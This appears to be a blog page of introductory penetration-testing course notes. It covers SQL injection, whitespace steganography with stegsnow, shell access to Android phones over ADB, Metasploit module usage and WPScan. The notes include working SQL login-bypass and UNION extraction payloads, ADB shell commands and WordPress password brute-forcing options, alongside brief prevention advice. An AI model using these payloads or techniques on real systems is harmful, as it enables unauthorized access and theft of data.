Archivi categoria: Corsi

SQL Injection

All websites that make interaction with a DB, use SQL.

But if the SQL script is not correctly written could be passible of some manipulation using the html form parameters, in which the attacker could put a malicious SQL code.

So to find a SQL Injection is very critical because it gives access to the entire DB as as admin.

How to discover SQL Injections

The easy way is to put in the html form input text some special SQL character like ‘ (single quote) ” (double quote) # (comment) and so on and see what happens.

We could get multiple result. An exception that could show the query which went wrong for instance.

Bypassing logins using SQL Injections

In a user/password login page we could set the username and in the password field we could specify the piece of query to continue the query of the login:

Let’s say that the query to login could be something like this:

select * from users where username='$username' and password='$password'

Where $username and $password are dynamically passed from the frontend.

Now, the login query could be hacked specifying a piece of sql as password.

For instance, the password field could be

password' and 1=1, in this way the query will be

select * from users where username='$username' and password='password' and 1=1

the worse sql injection could be:

$username = admin (or the whatever admin username)

$password = 123456′ or 1=1

In this case the query becomes:

select * from users where username='admin' and password='123456' or 1=1

Executing that query, assuming that admin is a real admin username, that query will always return true, even the password used is not correct, allowing us to enter as administrator.

Another way to use sql injection to try to bypass login is with comments just after the username, becasue whetever is written after comments is not used.

For instance a query like this:

select * from users where username = 'admin' #and password ='ciccio'

will return the user wich username is admin whatever could be the password.

In order to ahve a query like the above in the username we need to specify

$username = admin’ #

$password = whateverWeWant

The last query is the most interesting one because it allows us to have more complex query to gather more information from the database.

For instance we can add a union to get something else:

select * from users where username = 'admin' union select 1, database(), user(), version(), 5 #and password ='whateverWeWant'

In this case what we did was to use the following parameters:

$username = admin’ union select 1, database(), user(), version(), 5#

$password = whateverWeWant

Or, we can get DB information schema using another query after the union:

$username = admin’ union select 1, table_name, null, null, 5 from invormation_schemaa.tables#

$password = whateverWeWant

In this way you can get whatever you want from the DB, just putting an union query with the same column number of the first query (in our example is select * from users)

Discover SQL Injections

We can use

SQLMap cli tool to automate the sql injections using a specific url

OWASP ZAP, a UI tools very easy to use which find possibile SQL injections (but actually also other type of exploitations) on the entire website specifying also the field parameters to use 🙂

Prevent SQL Injection

To prevent sql injection on your sql scripts try to:

• filter inputs
• use parameterised statements!

Steganography

Steganography is the practice of hiding a message inside of (or even on top of) something that is not secret.

The steganography has the double mission to hide and to deceive.

Of course not only messages can be hidden but also malware scripts.

Snow

There are a lot of tools that can hide things in images, files, and so on.

Snow is one of these.

Snow stands for Steganographic Nature Of Whitespace .

SNOW is a whitespace steganography tool that is used to embed hidden messages in ASCII format by extending the whitespace to the end of lines. This is done because the white spaces and tabs are not visible in text format to the viewers, thus making the messages hidden from the casual audience. The hidden messages are not available even if the built-in encryption is used to detect the message.

Snow is intended to be used with Windows. The Linux version is stegsnow.

To hide a message in a file (let’s say readme2.txt) using the content of an existing file (let’s say readme.txt):

stegsnow -C -m "super secret message" -p "passwordtousetodecodemessage" originalfile.txt filewithhiddenmessage.txt 

For instance

root@kali:~# stegsnow -C -m "CIAO MAMMA guarda come mi diverto" -p "magic" readme.txt readme2.txt 
Compressed by 30.30%
Message exceeded available space by approximately 776.19%.
An extra 6 lines were added.

where in readme.txt there is a generic content.

After the command the readme2.txt will contain the content of readme.txt plus soma extra spaces and tab.

To decode the content of readme2.txt:

stegsnow -C -p "passwordtousetodecodemessage" filewithhiddenmessage.txt 

For instance:

root@kali:~# stegsnow -C -p "magic" readme2.txt 
CIAO MAMMA guarda come mi diverto

Getting access to Android using ADB

ADB stands for Android Debug Bridge and it is a CLI used to communicate with an Android device which is physically connected (through a USB cable for instance) to a computer.

Before continue, check if you have adb installed on your machine typing adb in the CLI. Normally, it is installed together with Android Studio. If it is not installed:

apt-get update
apt install adb

Normally this service is available at the 5555 port of the Android device.

Let’s first check if that port is opened:

nmap <ipAddressOfAndroidDevice> -Pn

root@kali:~# nmap 192.168.1.3 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-10 02:17 EDT
Nmap scan report for RedmiNote5-Redmi.station (192.168.1.3)
Host is up (0.030s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5555/tcp open  freeciv
MAC Address: 80:35:C1:52:D8:E3 (Xiaomi Communications)

Nmap done: 1 IP address (1 host up) scanned in 3.91 seconds

If it is not opened try to restart the usb port:

adb usb
adb tcpip 5555

Once it is opened we can try to connect using the following command:

adb connect <ipAddressOfAndroidDevice>:<port>

Normally the port is 5555 and it is optional

root@kali:~# adb connect 192.168.1.3
connected to 192.168.1.3:5555

After a succesful connection type:

adb shell

Then, the result should be:

root@kali:~# adb shell
whyred:/ $

From this moment you can access to the Android device like you do in a normal Linux environment

Metasploit

Metasploit Framework is a cybersecurity project that provides info about vulnerability, simplifies penetration tests and helps in the development of intrusions systems check.

It is an open source tool and basically executes exploits to a remote machine.

Let’s start

First of all we need to check if our Metasploit is correctly connected to Metasploit db. Type the following:

msfconsole

The result would be something like that:

root@kali:~# msfconsole 
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v6.2.18-dev                          ]
+ -- --=[ 2244 exploits - 1185 auxiliary - 398 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params 
set LHOST eth0

msf6 > 

from Metasploit command line (msf6> in our case) it’s possible execute normally nmap

How to use Metasploit

We need toe execute 3 step:

find the service we need (ftp, ssh, …). Type:

search <serviceYouNeed> (let's say: search ftp)

After chosen your service, we search deeply the correct service to use:

info scanner/ftp/

Then, if we need to know which version of ftp my target is using, we should call the service using the “use” command:

use auxiliary/scanner/ftp/ftp_version

msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) >

and so, to know the interface of the service, we type:

info (or: show option)

The result shows the list of the params of that service:

msf6 auxiliary(scanner/ftp/ftp_version) > info

       Name: FTP Version Scanner
     Module: auxiliary/scanner/ftp/ftp_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>

Check supported:
  No

Basic options:
  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  mozilla@example.com  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    21                   yes       The target port (TCP)
  THREADS  1                    yes       The number of concurrent threads (max one per host)

Description:
  Detect FTP Version.

The required and not required aprams are show. Also the required ones, could have a default value so in tath case it’s not amdatory set that param.

To set a param we use “set” command:

msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.222
RHOSTS => 192.168.1.222
msf6 auxiliary(scanner/ftp/ftp_version) > 

To execute the service type the “run” command (or the “exploit” command):

msf6 auxiliary(scanner/ftp/ftp_version) > run

and this is the result:

[+] 192.168.1.222:21      - FTP Banner: '220 ProFTPD Server (Debian) [::ffff:192.168.1.222]\x0d\x0a'
[*] 192.168.1.222:21      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/ftp_version) > 

To recap, the (minimum) ordered list of the command to execute a service in Metasploit are:

• msfconsole
• search <serviceName>
• use <metasploitServiceName>
• info (or show option)
• set <param>
• run (or exploit)

WP Scan

WPScan is a tool designed to test the security of a WordPress web site.

To use it, simply type:

wpscan --url <websitetocheck>

Adding -e u parameter it will try to find also users

wpscan --url <websitetocheck> -e u

It’s possible to use also brute force to guess users and password using –usernames <filenameWithUserList> –passwords <filenameWithpasswordList>

If you already know the username: -u <username> -P <filenameWithpasswordList>